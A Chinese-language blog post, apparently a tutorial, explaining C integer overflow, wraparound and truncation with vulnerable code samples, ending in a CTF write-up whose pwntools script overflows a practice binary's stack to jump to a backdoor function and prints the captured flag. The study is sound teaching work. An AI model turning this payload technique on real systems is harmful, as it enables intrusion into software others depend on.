<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      整数溢出 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        整数溢出
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-03-03
      </span>

                                                                        <span class="post-pubtime"> 本文共1.3k字 </span>

                                                                        <span class="post-pubtime">
        大约需要9min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h2 id="整数溢出介绍"><a href="#整数溢出介绍" class="headerlink" title="整数溢出介绍"></a>整数溢出介绍</h2><p>C语言中整数的分类及各自的大小范围：</p>
<table>
<thead>
<tr>
<th>类型</th>
<th>字节</th>
<th>范围</th>
</tr>
</thead>
<tbody><tr>
<td>short int</td>
<td>2byte(word)</td>
<td>0~32767(0~0x7fff) -32768~-1(0x8000~0xffff)</td>
</tr>
<tr>
<td>unsigned short int</td>
<td>2byte(word)</td>
<td>0~65535(0~0xffff)</td>
</tr>
<tr>
<td>int</td>
<td>4byte(word)</td>
<td>0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff)</td>
</tr>
<tr>
<td>unsigned int</td>
<td>4byte(word)</td>
<td>0~4294967295(0~0xffffffff)</td>
</tr>
<tr>
<td>long</td>
<td>8byte(word)</td>
<td>正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff</td>
</tr>
<tr>
<td>unsigned long</td>
<td>8byte(word)</td>
<td>0~0xffffffffffffffff</td>
</tr>
</tbody></table>
<p>正是因为这些类型的大小范围的限制导致整数溢出。</p>
<h2 id="整数溢出原理"><a href="#整数溢出原理" class="headerlink" title="整数溢出原理"></a>整数溢出原理</h2><p>整数溢出的异常有3种：</p>
<ul>
<li>溢出<ul>
<li>只有有符号数才会发生溢出。</li>
<li>溢出标志<strong>OF</strong>可检测有符号数的溢出</li>
</ul>
</li>
<li>回绕<ul>
<li>无符号数<strong>0-1</strong>时会变成最大的数，1字节的话会变为255，255+1时会变为0.</li>
<li>进位标志<strong>CF</strong>可检测无符号数的回绕</li>
</ul>
</li>
<li>截断<ul>
<li>就是将一个较大宽度的数放入一个宽度较小的数中，高位发生截断</li>
</ul>
</li>
</ul>
<h3 id="有符号整数溢出"><a href="#有符号整数溢出" class="headerlink" title="有符号整数溢出"></a>有符号整数溢出</h3><p>分为上溢出和下溢出</p>
<ul>
<li>上溢出</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> i = <span class="number">2147483647</span>;<span class="comment">//int的最大值</span></span><br><span class="line">i++;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,i);</span><br><span class="line"><span class="comment">//输出为最小负数</span></span><br></pre></td></tr></table></figure>

<ul>
<li>下溢出</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> i = <span class="number">-2147483648</span>;<span class="comment">//int的最小值</span></span><br><span class="line">i--;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,i);</span><br><span class="line"><span class="comment">//输出为最大正数</span></span><br></pre></td></tr></table></figure>

<h3 id="无符号整数回绕"><a href="#无符号整数回绕" class="headerlink" title="无符号整数回绕"></a>无符号整数回绕</h3><p>无符号数的计算不会溢出，但是会发生回绕</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">unsined <span class="keyword">int</span> i = <span class="number">4</span> <span class="number">294</span> <span class="number">967</span> <span class="number">295</span>;<span class="comment">//x86-32上为4 294 967 295</span></span><br><span class="line">i++;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,i);<span class="comment">//输出为0</span></span><br><span class="line">i = <span class="number">0</span>;</span><br><span class="line">i--;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,i);<span class="comment">//输出为4 294 967 295</span></span><br></pre></td></tr></table></figure>

<h3 id="截断"><a href="#截断" class="headerlink" title="截断"></a>截断</h3><ul>
<li>加法截断</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0xffffffff + 0x00000001</span><br><span class="line">= 0x0000000100000000 (long long)</span><br><span class="line">= 0x00000000 (long)</span><br></pre></td></tr></table></figure>

<ul>
<li>乘法截断</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0x00123456 * 0x00654321</span><br><span class="line">= 0x000007336BF94116 (long long)</span><br><span class="line">= 0x6BF94116 (long)</span><br></pre></td></tr></table></figure>

<h3 id="整数提升和宽度溢出"><a href="#整数提升和宽度溢出" class="headerlink" title="整数提升和宽度溢出"></a>整数提升和宽度溢出</h3><p>看代码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> l;  </span><br><span class="line">    <span class="keyword">short</span> s;</span><br><span class="line">    <span class="keyword">char</span> c;</span><br><span class="line">    l = <span class="number">0xabcddcba</span>;</span><br><span class="line">    s = l;</span><br><span class="line">    c = l;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;宽度溢出\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;l = 0x%x (%d bits)\n&quot;</span>, l, <span class="keyword">sizeof</span>(l) * <span class="number">8</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;s = 0x%x (%d bits)\n&quot;</span>, s, <span class="keyword">sizeof</span>(s) * <span class="number">8</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;c = 0x%x (%d bits)\n&quot;</span>, c, <span class="keyword">sizeof</span>(c) * <span class="number">8</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;整型提升\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;s + c = 0x%x (%d bits)\n&quot;</span>, s+c, <span class="keyword">sizeof</span>(s+c) * <span class="number">8</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">OUT：</span><br><span class="line">    </span><br><span class="line">$ ./a.out</span><br><span class="line">宽度溢出</span><br><span class="line">l = <span class="number">0xabcddcba</span> (<span class="number">32</span> bits)</span><br><span class="line">s = <span class="number">0xffffdcba</span> (<span class="number">16</span> bits)</span><br><span class="line">c = <span class="number">0xffffffba</span> (<span class="number">8</span> bits)</span><br><span class="line">整型提升</span><br><span class="line">s + c = <span class="number">0xffffdc74</span> (<span class="number">32</span> bits)</span><br></pre></td></tr></table></figure>

<p>在整数转换的过程中，有可能导致下面的错误：</p>
<ul>
<li>损失值：转换为值的大小不能表示的一种类型</li>
<li>损失符号：从有符号类型转换为无符号类型，导致损失符号</li>
</ul>
<h3 id="漏洞多发函数"><a href="#漏洞多发函数" class="headerlink" title="漏洞多发函数"></a>漏洞多发函数</h3><p>下面的两个函数都有一个 <code>size_t</code> 类型的参数，常常被误用而产生整数溢出，接着就可能导致缓冲区溢出漏洞。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="keyword">size_t</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">memcpy</span><span class="params">(<span class="keyword">void</span> *dest, <span class="keyword">const</span> <span class="keyword">void</span> *src, <span class="keyword">size_t</span> n)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">char</span> *<span class="title">strncpy</span><span class="params">(<span class="keyword">char</span> *dest, <span class="keyword">const</span> <span class="keyword">char</span> *src, <span class="keyword">size_t</span> n)</span></span>;</span><br></pre></td></tr></table></figure>

<h2 id="整数溢出示例"><a href="#整数溢出示例" class="headerlink" title="整数溢出示例"></a>整数溢出示例</h2><p>下面用3个示例来演示：</p>
<h3 id="示例一：整数转换："><a href="#示例一：整数转换：" class="headerlink" title="示例一：整数转换："></a>示例一：整数转换：</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> buf[<span class="number">80</span>];</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vulnerable</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> len = read_int_from_network();</span><br><span class="line">    <span class="keyword">char</span> *p = read_string_from_network();</span><br><span class="line">    <span class="keyword">if</span> (len &gt; <span class="number">80</span>) &#123;</span><br><span class="line">        error(<span class="string">&quot;length too large: bad dog, no cookie for you!&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">memcpy</span>(buf, p, len);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在这里，如果给<code>len</code>赋值一个负数，就可以绕过if判断，但是到memcpy时，因为第三个参数是<code>size_t</code>类型，负数的len会被认为是一个很大的正数，从而复制大量内容到buf，导致缓存区溢出。</p>
<h3 id="示例二：回绕和溢出："><a href="#示例二：回绕和溢出：" class="headerlink" title="示例二：回绕和溢出："></a>示例二：回绕和溢出：</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vulnerable</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">size_t</span> len;</span><br><span class="line">    <span class="comment">// int len;</span></span><br><span class="line">    <span class="keyword">char</span>* buf;</span><br><span class="line">    len = read_int_from_network();</span><br><span class="line">    buf = <span class="built_in">malloc</span>(len + <span class="number">5</span>);</span><br><span class="line">    read(fd, buf, len);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>相较于上一个例子，这个例子避开来缓冲区溢出的问题，但是如果len很大时，len+5会回绕，比如，若是<code>len = 0xFFFFFFFF</code>，<code>len + 5 = 0x00000004</code>，这时只malloc了4个字节，然而之后会read大量数据，缓冲区溢出也会发生。</p>
<h3 id="示例三：截断："><a href="#示例三：截断：" class="headerlink" title="示例三：截断："></a>示例三：截断：</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>&#123;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">short</span> <span class="keyword">int</span> total;</span><br><span class="line">    total = <span class="built_in">strlen</span>(argv[<span class="number">1</span>]) + <span class="built_in">strlen</span>(argv[<span class="number">2</span>]) + <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">char</span> *buf = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(total);</span><br><span class="line">    <span class="built_in">strcpy</span>(buf, argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">strcat</span>(buf, argv[<span class="number">2</span>]);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这个例子计算了输入参数的长度为total，程序分配了内存来存拼接后的字符串。这里total的类型为<code>unsigned short int</code>，如果攻击者提供的两个字符串总长度无法用total表示，则会发生截断，从而导致后面的缓冲区溢出。</p>
<h3 id="示例四：功放世界：int-overflow"><a href="#示例四：功放世界：int-overflow" class="headerlink" title="示例四：功放世界：int_overflow"></a>示例四：功放世界：int_overflow</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yutao@pwnbaby:~/Desktop$ file int_overflow </span><br><span class="line">int_overflow: ELF <span class="number">32</span>-bit LSB executable, Intel <span class="number">80386</span>, version <span class="number">1</span> (SYSV), dynamically linked, interpreter /lib/ld-linux.so<span class="number">.2</span>, <span class="keyword">for</span> GNU/Linux <span class="number">2.6</span><span class="number">.32</span>, BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, <span class="keyword">not</span> stripped</span><br><span class="line">yutao@pwnbaby:~/Desktop$ checksec int_overflow</span><br><span class="line">[*] <span class="string">&#x27;/home/yutao/Desktop/int_overflow&#x27;</span></span><br><span class="line">    Arch:     i386<span class="number">-32</span>-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (<span class="number">0x8048000</span>)</span><br></pre></td></tr></table></figure>

<p>关键函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">char</span> *<span class="title">login</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+0h] [ebp-228h]</span></span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+200h] [ebp-28h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;s, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf, <span class="number">0</span>, <span class="number">0x200</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input your username:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;s, <span class="number">0x19</span>u);<span class="comment">//0x19u代表无符号 ，uname_max = 0x19</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello %s\n&quot;</span>, &amp;s);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input your passwd:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;buf, <span class="number">0x199</span>u);            <span class="comment">//pwd_max = 0x199u 远大于下面的 v3</span></span><br><span class="line">  <span class="keyword">return</span> check_passwd(&amp;buf);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">char</span> *__cdecl <span class="title">check_passwd</span><span class="params">(<span class="keyword">char</span> *s)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> dest; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v3; <span class="comment">// [esp+Fh] [ebp-9h]</span></span><br><span class="line">	<span class="comment">//8bit无符号整数，最大255</span></span><br><span class="line">  v3 = <span class="built_in">strlen</span>(s);<span class="comment">//v3 == pwd的长度</span></span><br><span class="line">  <span class="keyword">if</span> ( v3 &lt;= <span class="number">3u</span> || v3 &gt; <span class="number">8u</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Invalid Password&quot;</span>);</span><br><span class="line">    result = (<span class="keyword">char</span> *)fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">    result = <span class="built_in">strcpy</span>(&amp;dest, s);</span><br><span class="line">	<span class="comment">//dest_stack_size==0xb</span></span><br><span class="line">	<span class="comment">//s_stack_size(max_passwd_stack_size)==0x200</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>v3需要在4到8之间，可以转变为260-264截断，这里的payload的长度为262.</p>
<p>有后门函数。</p>
<p>payload：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io  = process(&quot;./int_overflow&quot;)</span></span><br><span class="line">io  = remote(<span class="string">&#x27;111.200.241.244&#x27;</span>,<span class="number">47612</span>)</span><br><span class="line">back_door_addr = <span class="number">0x08048694</span> </span><br><span class="line">io.sendlineafter(<span class="string">&quot;choice:&quot;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">&quot;username:&quot;</span>,<span class="string">&quot;aaaa&quot;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x14</span> + <span class="number">4</span> ) + p32(back_door_addr) + <span class="string">&#x27;a&#x27;</span>*<span class="number">233</span></span><br><span class="line">io.sendlineafter(<span class="string">&quot;passwd:&quot;</span>, payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>flag：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yutao@pwnbaby:~/Desktop$ python 1.py </span><br><span class="line">[+] Opening connection to 111.200.241.244 on port 47612: Done</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">Success</span><br><span class="line">cyberpeace&#123;570351d22dfa4892efd56550fe59aa63&#125;</span><br><span class="line">[*] Got EOF while reading in interactive</span><br><span class="line">$ </span><br><span class="line">[*] Closed connection to 111.200.241.244 port 47612</span><br></pre></td></tr></table></figure>




                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/02/27/json%E7%9B%B8%E5%85%B3/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-03-03
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/03/03/%E5%A0%86%E7%9B%B8%E5%85%B3%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E4%BB%8B%E7%BB%8D"><span class="toc-text">整数溢出介绍</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E5%8E%9F%E7%90%86"><span class="toc-text">整数溢出原理</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%89%E7%AC%A6%E5%8F%B7%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA"><span class="toc-text">有符号整数溢出</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E7%AC%A6%E5%8F%B7%E6%95%B4%E6%95%B0%E5%9B%9E%E7%BB%95"><span class="toc-text">无符号整数回绕</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%88%AA%E6%96%AD"><span class="toc-text">截断</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B4%E6%95%B0%E6%8F%90%E5%8D%87%E5%92%8C%E5%AE%BD%E5%BA%A6%E6%BA%A2%E5%87%BA"><span class="toc-text">整数提升和宽度溢出</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%A4%9A%E5%8F%91%E5%87%BD%E6%95%B0"><span class="toc-text">漏洞多发函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E7%A4%BA%E4%BE%8B"><span class="toc-text">整数溢出示例</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B%E4%B8%80%EF%BC%9A%E6%95%B4%E6%95%B0%E8%BD%AC%E6%8D%A2%EF%BC%9A"><span class="toc-text">示例一：整数转换：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B%E4%BA%8C%EF%BC%9A%E5%9B%9E%E7%BB%95%E5%92%8C%E6%BA%A2%E5%87%BA%EF%BC%9A"><span class="toc-text">示例二：回绕和溢出：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B%E4%B8%89%EF%BC%9A%E6%88%AA%E6%96%AD%EF%BC%9A"><span class="toc-text">示例三：截断：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B%E5%9B%9B%EF%BC%9A%E5%8A%9F%E6%94%BE%E4%B8%96%E7%95%8C%EF%BC%9Aint-overflow"><span class="toc-text">示例四：功放世界：int_overflow</span></a></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
